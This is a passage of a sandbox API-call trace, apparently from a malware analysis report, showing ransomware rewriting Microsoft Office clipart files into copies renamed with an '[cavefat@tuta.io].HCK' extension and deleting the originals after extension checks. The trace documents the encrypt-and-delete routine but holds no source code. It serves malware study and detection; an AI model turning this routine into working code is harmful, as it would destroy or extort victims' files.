Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.595] lstrlenW (lpString=".doc") returned 4 [0161.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString=".docx") returned 5 [0161.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.595] lstrlenW (lpString=".pdf") returned 4 [0161.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString=".xls") returned 4 [0161.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.595] lstrlenW (lpString=".xlsx") returned 5 [0161.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.595] lstrlenW (lpString=".ppt") returned 4 [0161.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.595] lstrlenW (lpString=".zip") returned 4 [0161.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.595] lstrlenW (lpString=".rar") returned 4 [0161.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString=".bz2") returned 4 [0161.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString=".7z") returned 3 [0161.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.595] lstrlenW (lpString=".dbf") returned 4 [0161.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.595] lstrlenW (lpString=".1cd") returned 4 [0161.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.595] lstrlenW (lpString=".jpg") returned 4 [0161.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.596] lstrlenW (lpString=".doc") returned 4 [0161.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString=".docx") returned 5 [0161.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.596] lstrlenW (lpString=".pdf") returned 4 [0161.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString=".xls") returned 4 [0161.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.596] lstrlenW (lpString=".xlsx") returned 5 [0161.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.596] lstrlenW (lpString=".ppt") returned 4 [0161.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.596] lstrlenW (lpString=".zip") returned 4 [0161.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.596] lstrlenW (lpString=".rar") returned 4 [0161.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString=".bz2") returned 4 [0161.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString=".7z") returned 3 [0161.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.596] lstrlenW (lpString=".dbf") returned 4 [0161.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.596] lstrlenW (lpString=".1cd") returned 4 [0161.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0161.596] lstrlenW (lpString=".jpg") returned 4 [0161.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.596] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.596] lstrlenW (lpString="HH01080_.WMF") returned 12 [0161.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.597] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5000) returned 1 [0161.597] CloseHandle (hObject=0x308) returned 1 [0161.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0161.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.597] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.597] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.598] GetLastError () returned 0x0 [0161.598] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1388, lpOverlapped=0x0) returned 1 [0161.599] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1390, lpOverlapped=0x0) returned 1 [0161.600] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.600] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.600] SetEndOfFile (hFile=0x380) returned 1 [0161.600] CloseHandle (hObject=0x380) returned 1 [0161.601] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.601] SetEndOfFile (hFile=0x308) returned 1 [0161.602] CloseHandle (hObject=0x308) returned 1 [0161.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0161.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.602] lstrlenW (lpString=".doc") returned 4 [0161.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.602] lstrlenW (lpString=".docx") returned 5 [0161.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.603] lstrlenW (lpString=".pdf") returned 4 [0161.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString=".xls") returned 4 [0161.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.603] lstrlenW (lpString=".xlsx") returned 5 [0161.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.603] lstrlenW (lpString=".ppt") returned 4 [0161.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.603] lstrlenW (lpString=".zip") returned 4 [0161.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.603] lstrlenW (lpString=".rar") returned 4 [0161.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString=".bz2") returned 4 [0161.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString=".7z") returned 3 [0161.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.603] lstrlenW (lpString=".dbf") returned 4 [0161.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.603] lstrlenW (lpString=".1cd") returned 4 [0161.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.603] lstrlenW (lpString=".jpg") returned 4 [0161.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.603] lstrlenW (lpString=".doc") returned 4 [0161.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString=".docx") returned 5 [0161.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.603] lstrlenW (lpString=".pdf") returned 4 [0161.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString=".xls") returned 4 [0161.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.603] lstrlenW (lpString=".xlsx") returned 5 [0161.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.603] lstrlenW (lpString=".ppt") returned 4 [0161.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.603] lstrlenW (lpString=".zip") returned 4 [0161.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.604] lstrlenW (lpString=".rar") returned 4 [0161.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.604] lstrlenW (lpString=".bz2") returned 4 [0161.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.604] lstrlenW (lpString=".7z") returned 3 [0161.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.604] lstrlenW (lpString=".dbf") returned 4 [0161.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.604] lstrlenW (lpString=".1cd") returned 4 [0161.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0161.604] lstrlenW (lpString=".jpg") returned 4 [0161.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.604] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.604] lstrlenW (lpString="HH01242_.WMF") returned 12 [0161.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.619] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7340) returned 1 [0161.619] CloseHandle (hObject=0x380) returned 1 [0161.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0161.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.633] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.639] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.384] GetLastError () returned 0x0 [0162.384] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1cac, lpOverlapped=0x0) returned 1 [0162.413] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0162.415] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.415] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.415] SetEndOfFile (hFile=0x38c) returned 1 [0162.416] CloseHandle (hObject=0x38c) returned 1 [0162.416] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.416] SetEndOfFile (hFile=0x380) returned 1 [0162.417] CloseHandle (hObject=0x380) returned 1 [0162.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0162.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.418] lstrlenW (lpString=".doc") returned 4 [0162.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString=".docx") returned 5 [0162.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.418] lstrlenW (lpString=".pdf") returned 4 [0162.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString=".xls") returned 4 [0162.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.418] lstrlenW (lpString=".xlsx") returned 5 [0162.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.418] lstrlenW (lpString=".ppt") returned 4 [0162.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.418] lstrlenW (lpString=".zip") returned 4 [0162.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.418] lstrlenW (lpString=".rar") returned 4 [0162.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString=".bz2") returned 4 [0162.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString=".7z") returned 3 [0162.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.418] lstrlenW (lpString=".dbf") returned 4 [0162.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.418] lstrlenW (lpString=".1cd") returned 4 [0162.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.418] lstrlenW (lpString=".jpg") returned 4 [0162.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.418] lstrlenW (lpString=".doc") returned 4 [0162.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString=".docx") returned 5 [0162.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.418] lstrlenW (lpString=".pdf") returned 4 [0162.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.418] lstrlenW (lpString=".xls") returned 4 [0162.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.419] lstrlenW (lpString=".xlsx") returned 5 [0162.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.419] lstrlenW (lpString=".ppt") returned 4 [0162.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.419] lstrlenW (lpString=".zip") returned 4 [0162.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.419] lstrlenW (lpString=".rar") returned 4 [0162.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.419] lstrlenW (lpString=".bz2") returned 4 [0162.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.419] lstrlenW (lpString=".7z") returned 3 [0162.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.419] lstrlenW (lpString=".dbf") returned 4 [0162.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.419] lstrlenW (lpString=".1cd") returned 4 [0162.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0162.419] lstrlenW (lpString=".jpg") returned 4 [0162.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.419] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.419] lstrlenW (lpString="HM00116_.WMF") returned 12 [0162.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.420] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=15852) returned 1 [0162.420] CloseHandle (hObject=0x380) returned 1 [0162.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0162.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0162.420] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.420] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.420] GetLastError () returned 0x0 [0162.420] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0162.422] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0162.422] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.423] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.423] SetEndOfFile (hFile=0x38c) returned 1 [0162.423] CloseHandle (hObject=0x38c) returned 1 [0162.424] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.424] SetEndOfFile (hFile=0x380) returned 1 [0162.425] CloseHandle (hObject=0x380) returned 1 [0162.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0162.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0162.426] lstrlenW (lpString=".doc") returned 4 [0162.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString=".docx") returned 5 [0162.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.426] lstrlenW (lpString=".pdf") returned 4 [0162.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.426] lstrlenW (lpString=".xls") returned 4 [0162.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 